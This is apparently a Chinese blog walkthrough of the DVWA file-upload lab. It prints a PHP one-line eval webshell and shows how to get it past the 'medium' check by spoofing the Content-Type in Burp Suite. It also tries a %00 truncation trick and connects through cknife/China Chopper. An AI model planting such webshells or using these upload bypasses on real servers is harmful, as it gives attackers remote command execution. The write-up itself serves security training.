dvwa-upload

通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。

0x00 简介

讲的相当清晰

https://blog.csdn.net/qq_42636435/article/details/88096844

0x01 dvwa实战

1、low

由0x00已经知道我们需要做的就是上传一句话木马文件,简单的看了下源码,对上传的文件并未进行检测,直接上传1.php

<?php 
@eval($_POST['a']);
?>

上传成功,同时得到文件的上传路径

dvwa-upload

然后cknife连接即可

dvwa-upload

 

 dvwa-upload

 

 2、medium

我又看源码了

if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){ 

可以看到medium级别对文件类型和文件大小进行了检测,尝试改变文件后缀名

因为看博客看到了%00有截断的功能,例如:网站上传函数处理xxx.asp%00.jpg时,首先后缀名是合法的jpg格式,可以 上传,在保存文件时,遇到%00字符丢弃后面的 .jpg,文件后缀最终保存的后缀 名为xxx.asp,所以我就在后面加了个%00.jpg,上传成功,然而连接没有成功,用低级别的去看了下此时的文件,上传文件夹内包括该文件,%00不太合适

继续上传1.php%00.jpg,用burpsuite截了个包,

dvwa-upload

content-Type满足代码里的条件,再把名字改成2.php上传,上传成功,尝试菜刀连接:

dvwa-upload

 

 成功

3、high

 $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); 
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000))

判断后缀名是否为jpg,JPG,jpeg,JPEG,若不是不上传,果然白名单才最防黑

0x02 总结

唔,也没啥要总结的,感觉

上一篇:388 文件的最长绝对路径


下一篇:SAP 增强篇 Method1 BADI增强的查找方法